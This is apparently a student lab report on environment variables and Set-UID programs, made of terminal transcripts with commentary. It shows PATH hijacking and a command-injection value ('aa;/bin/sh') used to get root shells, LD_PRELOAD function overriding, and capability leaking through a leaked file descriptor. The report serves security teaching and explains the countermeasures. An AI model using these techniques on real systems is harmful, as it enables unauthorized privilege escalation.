

# Software Security:

## Environment variable and Set-UID Program Lab

Batyi Amatov ([amatobat@b-tu.de](mailto:amatobat@b-tu.de))

### Task 1: Manipulating Environment Variables

```
root@vm:/etc# printenv PWD
/etc
root@vm:/etc# env | grep PWD
PWD=/etc
OLDPWD=/home/csl
root@vm:/etc# printenv
LC_PAPER=de_DE.UTF-8
XDG_VTNR=7
XDG_SESSION_ID=c2
LC_ADDRESS=de_DE.UTF-8
CLUTTER_IM_MODULE=xim
LC_MONETARY=de_DE.UTF-8
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/csl
SESSION=ubuntu
GPG_AGENT_INFO=/home/csl/.gnupg/S.gpg-agent:0:1
ANDROID_HOME=/home/csl/android/android-sdk-linux
SHELL=/bin/bash
XDG_MENU_PREFIX=gnome-
VTE_VERSION=4205
TERM=xterm-256color
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/csl/lib/boost/libboost_program_options.so.1.64.0:/home/csl/lib/boost/libboost_filesystem.so.1.64.0:/home/csl/lib/boost/libboost_system.so.1.64.0
LC_NUMERIC=de_DE.UTF-8
WINDOWID=73400330
GNOME_KEYRING_CONTROL=
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1645
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=root
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/boost_1_64_0/stage/lib:
LC_TELEPHONE=de_DE.UTF-8
QT_ACCESSIBILITY=1
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.b2z=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path
SESSION_MANAGER=local/vm:/tmp/.ICE-unix/1920,unix/vm:/tmp/.ICE-unix/1920
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg
MAIL=/var/mail/root
PATH=/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/csl/android/android-sdk-linux/tools:/home/csl/android/android-sdk-linux/platform-tools:/home/csl/android/android-ndk/android-ndk-r8d
DESKTOP_SESSION=ubuntu
QT_QPA_PLATFORMTHEME=appmenu-qt5
QT_IM_MODULE=ibus
LC_IDENTIFICATION=de_DE.UTF-8
JOB=dbus
PWD=/etc
XDG_SESSION_TYPE=x11
JAVA_HOME=/usr/lib/jvm/java-8-oracle
XMODIFIERS=@im=ibus
GNOME_KEYRING_PID=
LANG=en_US.UTF-8
MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path
GDM_LANG=en_US
```

Figure 1

*printenv* and *env* are used to print out the environment variables. Use *grep* in order to print particular environmental variable.

```

root@vm:/etc# abc='some env variable'
root@vm:/etc# echo $abc
some env variable
root@vm:/etc# unset abc
root@vm:/etc# echo $abc

root@vm:/etc# export abc='new data for env variable'
root@vm:/etc# echo $abc
new data for env variable
root@vm:/etc# abc=
root@vm:/etc# echo $abc

root@vm:/etc# abc='again new some data for env variable'
root@vm:/etc# env | grep abc
abc=again new some data for env variable
root@vm:/etc# █

```

Figure 2

Using *export* and *unset* we can set or unset environment variables. It should be noted that these two commands are two of the Bash's internal commands.

## Task 2: Passing Environment Variables from Parent Process to Child Process

```

root@vm:/home/csl/Desktop/envv# gcc -o task02child task02child.c
root@vm:/home/csl/Desktop/envv# task02child > child.txt
root@vm:/home/csl/Desktop/envv# gcc -o task02parent task02parent.c
root@vm:/home/csl/Desktop/envv# task02parent > parent.txt
root@vm:/home/csl/Desktop/envv# diff child.txt parent.txt
82c82
< _=./task02child
...
> _=./task02parent
root@vm:/home/csl/Desktop/envv# █

```

Figure 3

Almost all environmental variables are the same except one `$_` which shows the last argument of the shell. So, we can conclude that child process inherits all environmental variables from the parent process.

### Task 3: Passing Environment Variables and execve()

```
root@vm:/home/csl/Desktop/envv# gcc -o task3 task3.c
root@vm:/home/csl/Desktop/envv# ./task3
root@vm:/home/csl/Desktop/envv# cat task031.c
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main() {
    char *argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, environ);
    return 0;
}root@vm:/home/csl/Desktop/envv# gcc -o task031 task031.c
root@vm:/home/csl/Desktop/envv# ./task031
LC_PAPER=de_DE.UTF-8
XDG_VTNR=7
XDG_SESSION_ID=c2
LC_ADDRESS=de_DE.UTF-8
CLUTTER_IM_MODULE=xim
LC_MONETARY=de_DE.UTF-8
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/csl
SESSION=ubuntu
GPG_AGENT_INFO=/home/csl/.gnupg/S.gpg-agent:0:1
ANDROID_HOME=/home/csl/android/android-sdk-linux
SHELL=/bin/bash
XDG_MENU_PREFIX=gnome-
VTE_VERSION=4205
TERM=xterm-256color
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/csl/lib/boost/libboost_program_options.so.1.64.0:/home/csl/lib/boost/libboost_filesystem.so.1.64.0:/home/csl/lib/boost/libboost_system.so.1.64.0
LC_NUMERIC=de_DE.UTF-8
WINDOWID=73400330
OLDPWD=/home/csl/Desktop
GNOME_KEYRING_CONTROL=
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1645
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=root
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/boost_1_64_0/stage/lib:
LC_TELEPHONE=de_DE.UTF-8
QT_ACCESSIBILITY=1
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33:01:cd=40;33:01:or=40;31:01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path
SESSION_MANAGER=local/vm:@/tmp/.ICE-unix/1920,unix/vm:/tmp/.ICE-unix/1920
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg
```

Figure 4

We are using `execve()` function which takes three arguments: the command to input, arguments for the command, the env variables passed to the new program.

No new process is created; instead, the calling process's text, data, bss, and stack are overwritten by that of the program loaded. Essentially, `execve()` runs the new program inside the calling process.

Step 1: we passed `NULl` as a third parameter for function `execve()` and ofcourse we was not able to print any environmental variables.

Step 2: we can passed global variable `environ` which points to the beginning of environmental variables, and we managed to print them all.



## Task 4: Environment Variables and system()

Unlike `execve()`, which directly executes a command, `system()` actually executes `"/bin/sh -c command"`, i.e., it executes `/bin/sh`, and asks the shell to execute the command. Environmental variables are passing to the shell, and shell execute the command with environmental variables as arguments.

```
root@vm:/home/csl/Desktop/envv# gcc -o task04 task04.c
root@vm:/home/csl/Desktop/envv# ./task04
LC_PAPER=de_DE.UTF-8
XDG_VTNR=7
XDG_SESSION_ID=c2
LC_ADDRESS=de_DE.UTF-8
CLUTTER_IM_MODULE=xim
LC_MONETARY=de_DE.UTF-8
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/csl
SESSION=ubuntu
GPG_AGENT_INFO=/home/csl/.gnupg/S.gpg-agent:0:1
ANDROID_HOME=/home/csl/android/android-sdk-linux
SHELL=/bin/bash
XDG_MENU_PREFIX=gnome-
VTE_VERSION=4205
TERM=xterm-256color
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/csl/lib/boost/libboost_program_options.so.1.64.0:/home/csl/lib/boost/libboost_filesystem.so.1.64.0:/home/csl/lib/boost/libboost_system.so.1.64.0
LC_NUMERIC=de_DE.UTF-8
```

Figure 5

As a result environmental variables are printed out.

## Task 5: Environment Variables and Set-UID Programs

```
[08/25/19]csl@vm:~/.../envv$ gcc -o task05 task05.c
[08/25/19]csl@vm:~/.../envv$ ls -l task05
-rwxrwxr-x 1 csl csl 7400 Aug 25 02:10 task05
[08/25/19]csl@vm:~/.../envv$ su root
Password:
root@vm:/home/csl/Desktop/envv# sudo chown root task05
root@vm:/home/csl/Desktop/envv# ls -l task05
-rwxrwxr-x 1 root csl 7400 Aug 25 02:10 task05
root@vm:/home/csl/Desktop/envv# sudo chmod 4755 task05
root@vm:/home/csl/Desktop/envv# ls -l task05
-rwsr-xr-x 1 root csl 7400 Aug 25 02:10 task05
root@vm:/home/csl/Desktop/envv# export ANY_NAME=adbc
root@vm:/home/csl/Desktop/envv# exit
exit
[08/25/19]csl@vm:~/.../envv$ ./task05 > task05.txt
[08/25/19]csl@vm:~/.../envv$ grep ANY_NAME task05.txt
[08/25/19]csl@vm:~/.../envv$ export ANY_NAME=newname
[08/25/19]csl@vm:~/.../envv$ ./task05 > task05.txt
[08/25/19]csl@vm:~/.../envv$ grep ANY_NAME task05.txt
ANY_NAME=newname
[08/25/19]csl@vm:~/.../envv$
```

Figure 6

We made a program owner - root, and made it Set\_UID program. After the execution, the shell forks a child process, and uses the child process to run the program.

These environment variables which were in the user's shell process, passed to the Set-UID child process.

## Task 6: The PATH Environment Variable and Set-UID Programs

```
[08/25/19]csl@vm:~/.../envv$ gcc -o task06 task06
task061.c task06.c
[08/25/19]csl@vm:~/.../envv$ gcc -o task06 task06.c
[08/25/19]csl@vm:~/.../envv$ gcc -o ls ls.c
[08/25/19]csl@vm:~/.../envv$ su root
Password:
root@vm:/home/csl/Desktop/envv# ls -l
total 216
-rw-r--r-- 1 root root 4189 Aug 24 20:33 child.txt
-rw-rw-r-- 1 csl csl 95090 Aug 23 20:47 Environment_Variable_and_SetUID.pdf
-rwxrwxr-x 1 csl csl 7344 Aug 25 03:05 ls
-rw-rw-r-- 1 csl csl 91 Aug 25 03:01 ls.c
-rw-r--r-- 1 root root 4190 Aug 24 20:34 parent.txt
-rwxr-xr-x 1 root root 7500 Aug 24 20:33 task02child
-rw-rw-r-- 1 csl csl 365 Aug 24 20:24 task02child.c
-rwxr-xr-x 1 root root 7500 Aug 24 20:34 task02parent
-rw-rw-r-- 1 csl csl 365 Aug 24 20:25 task02parent.c
-rwxr-xr-x 1 root root 7448 Aug 24 20:54 task031
-rw-rw-r-- 1 csl csl 189 Aug 24 20:53 task031.c
-rwxr-xr-x 1 root root 7348 Aug 25 01:25 task04
-rw-rw-r-- 1 csl csl 91 Aug 25 01:24 task04.c
-rwsr-xr-x 1 root csl 7400 Aug 25 02:10 task05
-rw-rw-r-- 1 csl csl 161 Aug 25 02:06 task05.c
-rw-rw-r-- 1 csl csl 3985 Aug 25 02:16 task05.txt
-rwxrwxr-x 1 csl csl 7348 Aug 25 03:05 task06
-rw-rw-r-- 1 csl csl 91 Aug 25 02:59 task061.c
-rw-rw-r-- 1 csl csl 81 Aug 25 02:45 task06.c
-rwxr-xr-x 1 root root 7396 Aug 24 20:54 task3
-rw-rw-r-- 1 csl csl 186 Aug 24 20:47 task3.c
root@vm:/home/csl/Desktop/envv# sudo chown root task06
root@vm:/home/csl/Desktop/envv# sudo chmod 4755 task06
root@vm:/home/csl/Desktop/envv# ls -l task06
-rwsr-xr-x 1 root csl 7348 Aug 25 03:05 task06
root@vm:/home/csl/Desktop/envv# exit
exit
[08/25/19]csl@vm:~/.../envv$ export PATH=.:$PATH
[08/25/19]csl@vm:~/.../envv$ echo $PATH
.: /home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:./snap/bin:/usr/lib/jvm
/java-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/home/csl/android/android-sdk-linux/tools:
/home/csl/android/android-sdk-linux/platform-tools:/home/csl/android/android-ndk/android-ndk-r8d:/home/csl/.local/bin
[08/25/19]csl@vm:~/.../envv$ ./task06
bash-4.3# id
uid=1000(csl) gid=1000(csl) euid=0(root) groups=1000(csl)
bash-4.3#
```

Figure 7

If we are using Set-UID vulnerable program we can get access to data or privileges which we are not allowed to have. For example, if system() function uses not a full length, it possible to change a path to a malicious file. In our case, we are invoking ls command, we can create ls executable file which itself invokes bash root shell. Since, our vulnerable program is a Set-UID program we are able to get a root shell.

## Task 7: The LD\_PRELOAD Environment Variable and Set-UID Programs

```
[08/25/19]csl@vm:~/.../task07$ ls -l
total 8
-rw-rw-r-- 1 csl csl 152 Aug 25 03:40 mylib.c
-rw-rw-r-- 1 csl csl  57 Aug 25 16:16 myprog.c
[08/25/19]csl@vm:~/.../task07$ gcc -fPIC -g -c mylib.c
[08/25/19]csl@vm:~/.../task07$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[08/25/19]csl@vm:~/.../task07$ export LD_PRELOAD=./libmylib.so.1.0.1
[08/25/19]csl@vm:~/.../task07$ ls -l
total 20
-rwxrwxr-x 1 csl csl 7932 Aug 25 16:22 libmylib.so.1.0.1
-rw-rw-r-- 1 csl csl  152 Aug 25 03:40 mylib.c
-rw-rw-r-- 1 csl csl 2592 Aug 25 16:22 mylib.o
-rw-rw-r-- 1 csl csl  57 Aug 25 16:16 myprog.c
[08/25/19]csl@vm:~/.../task07$ gcc -o myprog myprog.c
[08/25/19]csl@vm:~/.../task07$ ls -l
total 28
-rwxrwxr-x 1 csl csl 7932 Aug 25 16:22 libmylib.so.1.0.1
-rw-rw-r-- 1 csl csl  152 Aug 25 03:40 mylib.c
-rw-rw-r-- 1 csl csl 2592 Aug 25 16:22 mylib.o
-rwxrwxr-x 1 csl csl 7348 Aug 25 16:22 myprog
-rw-rw-r-- 1 csl csl  57 Aug 25 16:16 myprog.c
[08/25/19]csl@vm:~/.../task07$ ./myprog
I am not sleeping!
```

Figure 8

In Linux, ld.so or ld-linux.so, are the dynamic loader/linker. Among the environment variables that affect their behaviors, LD PRELOAD is the one that we are concerned in this lab. LD PRELOAD specifies a list of additional, user-specified, shared libraries to be loaded before all others. We created our malicious program and name it mylib.c. It basically overrides the sleep() function in libc library.

We compiled it and exported a new path in LD\_PRELOAD environmental variable which started to point to our malicious program. We running without Set-UID privilege and we able to execute our malicious program.

```
[08/25/19]csl@vm:~/.../task07$ su root
Password:
root@vm:/home/csl/Desktop/envv/task07# chown root myprog
root@vm:/home/csl/Desktop/envv/task07# chmod 4755 myprog
root@vm:/home/csl/Desktop/envv/task07# ls -l myprog
-rwsr-xr-x 1 root csl 7348 Aug 25 16:22 myprog
root@vm:/home/csl/Desktop/envv/task07# exit
exit
[08/25/19]csl@vm:~/.../task07$ ./myprog
[08/25/19]csl@vm:~/.../task07$
```

Figure 9

After making myprog a Set-UID root program, and run it as a normal user we were not able to run our malicious program. Instead a correct function sleep() from trustfull library was executed. This is due to countermeasure implemented by the dynamic linker, which ignores LD\_PRELOAD env variable when the process's real and effective user or group IDs differ.



```

[08/25/19]csl@vm:~/.../task07$ ls -l myprog
-rwsr-xr-x 1 root csl 7348 Aug 25 16:22 myprog
[08/25/19]csl@vm:~/.../task07$ su root
Password:
root@vm:/home/csl/Desktop/envv/task07# export LD_PRELOAD=./libmylib.so.1.0.1
root@vm:/home/csl/Desktop/envv/task07# ./myprog
I am not sleeping!
root@vm:/home/csl/Desktop/envv/task07# ls -l myprog
-rwsr-xr-x 1 root csl 7348 Aug 25 16:22 myprog

```

Figure 10

After logging in root, we were able to run our malicious program, because child process inherits path from LD\_PRELOAD and countermeasure of dynamic linking does not work, because our owner is the root and after execution effective UID also becomes root.

```

root@vm:/home/csl/Desktop/envv/task07# adduser user1
Adding user `user1' ...
Adding new group `user1' (1001) ...
Adding new user `user1' (1001) with group `user1' ...
Creating home directory `/home/user1' ...
Copying files from `/etc/skel' ...
ERROR: ld.so: object './libmylib.so.1.0.1' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Enter new UNIX password:
Retype new UNIX password:
No password supplied
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for user1
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
root@vm:/home/csl/Desktop/envv/task07# chown user1 myprog
root@vm:/home/csl/Desktop/envv/task07# chmod 4755 myprog
root@vm:/home/csl/Desktop/envv/task07# ls -l myprog
-rwsr-xr-x 1 user1 csl 7348 Aug 25 16:22 myprog
root@vm:/home/csl/Desktop/envv/task07# exit
exit
[08/25/19]csl@vm:~/.../task07$ su user1
Password:
user1@vm:/home/csl/Desktop/envv/task07$ export LD_PRELOAD=./libmylib.so.1.0.1
user1@vm:/home/csl/Desktop/envv/task07$ ls -l myprog
-rwsr-xr-x 1 user1 csl 7348 Aug 25 16:22 myprog
user1@vm:/home/csl/Desktop/envv/task07$ ./myprog
I am not sleeping!

```

Figure 11

After creating a new user1 account, we were managed to execute our malicious program, because it has Set-UID privilege and real and effective user IDs are the same.

## Task 8: Invoking External Programs Using `system()` versus `execve()`

```
[08/25/19]csl@vm:~/.../task08$ gcc -o task081 task081.c
[08/25/19]csl@vm:~/.../task08$ gcc -o task082 task082.c
[08/25/19]csl@vm:~/.../task08$ ls -l
total 24
-rwxrwxr-x 1 csl csl 7548 Aug 25 18:01 task081
-rw-rw-r-- 1 csl csl 430 Aug 25 18:01 task081.c
-rwxrwxr-x 1 csl csl 7548 Aug 25 18:01 task082
-rw-rw-r-- 1 csl csl 449 Aug 25 18:01 task082.c
[08/25/19]csl@vm:~/.../task08$ su root
Password:
root@vm:/home/csl/Desktop/envv/task08# chown root task081
root@vm:/home/csl/Desktop/envv/task08# chown root task082
root@vm:/home/csl/Desktop/envv/task08# chmod 4755 task081
root@vm:/home/csl/Desktop/envv/task08# chmod 4755 task082
```

Figure 12

We prepared our executable files with root owner and Set-UID privilege.

`Execve()` function is safer than `system()`, because it is directly and explicitly pass command string as an input to system call. In comparison, `system()` function execute it using a shell, and it is possible to inject another command using semicolon as separator.

```
[08/25/19]csl@vm:~/.../task08$ ls -l
total 28
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task081
-rw-rw-r-- 1 csl csl 430 Aug 25 18:01 task081.c
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task082
-rw-rw-r-- 1 csl csl 449 Aug 25 18:01 task082.c
-rw-r--r-- 1 root root 6 Aug 25 18:11 t.txt
[08/25/19]csl@vm:~/.../task08$ task081 "aa;/bin/sh"
/bin/cat: aa: No such file or directory
# ls -l
total 28
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task081
-rw-rw-r-- 1 csl csl 430 Aug 25 18:01 task081.c
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task082
-rw-rw-r-- 1 csl csl 449 Aug 25 18:01 task082.c
-rw-r--r-- 1 root root 6 Aug 25 18:11 t.txt
# whoami
root
# rm t.txt
# ls -l
total 24
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task081
-rw-rw-r-- 1 csl csl 430 Aug 25 18:01 task081.c
-rwsr-xr-x 1 root csl 7548 Aug 25 18:01 task082
-rw-rw-r-- 1 csl csl 449 Aug 25 18:01 task082.c
#
```

Figure 13

That's why we were managed to inject the `system()` function and invoke a root shell. With root shell we can do almost everything.



```
[08/25/19]csl@vm:~/.../task08$ task082 "aa;/bin/sh"
/bin/cat: 'aa;/bin/sh': No such file or directory
[08/25/19]csl@vm:~/.../task08$
```

Figure 14

Execve() function did not permitted poisoning because it does have a man-in-the-middle shell, which executes a command. Instead it directly takes input as one atomic string and perform system call.

## Task 9: Capability Leaking

```
[08/25/19]csl@vm:~/.../task09$ gcc -o task09 task09.c
[08/25/19]csl@vm:~/.../task09$ su root
Password:
root@vm:/home/csl/Desktop/envv/task09# chown root task09
root@vm:/home/csl/Desktop/envv/task09# chmod 4755 task09
root@vm:/home/csl/Desktop/envv/task09# ls -l
total 12
-rwsr-xr-x 1 root csl 7640 Aug 25 18:50 task09
-rw-rw-r-- 1 csl csl 939 Aug 25 18:41 task09.c
root@vm:/home/csl/Desktop/envv/task09# exit
exit
[08/25/19]csl@vm:~/.../task09$ cat /etc/zzz
bbbbbbbbbb
[08/25/19]csl@vm:~/.../task09$ echo aaaa > /etc/zzz
bash: /etc/zzz: Permission denied
[08/25/19]csl@vm:~/.../task09$ task09
[08/25/19]csl@vm:~/.../task09$ cat /etc/zzz
bbbbbbbbbb
Malicious Data
[08/25/19]csl@vm:~/.../task09$
```

Figure 15

To revoke root privileges the setuid() system call can be used. According to the manual, "setuid() sets the effective user ID of the calling process. If the effective UID of the caller is root, the real UID and saved set-user-ID are also set". Therefore, if a Set-UID program with effective UID 0 calls setuid(n), the process will become a normal process, with all its UIDs being set to n.

When revoking the privilege, one of the common mistakes is capability leaking. In our case program does not clean up a fd (file descriptor) which is a form of capability, which makes the file zzz still accessible by the non-privileged process.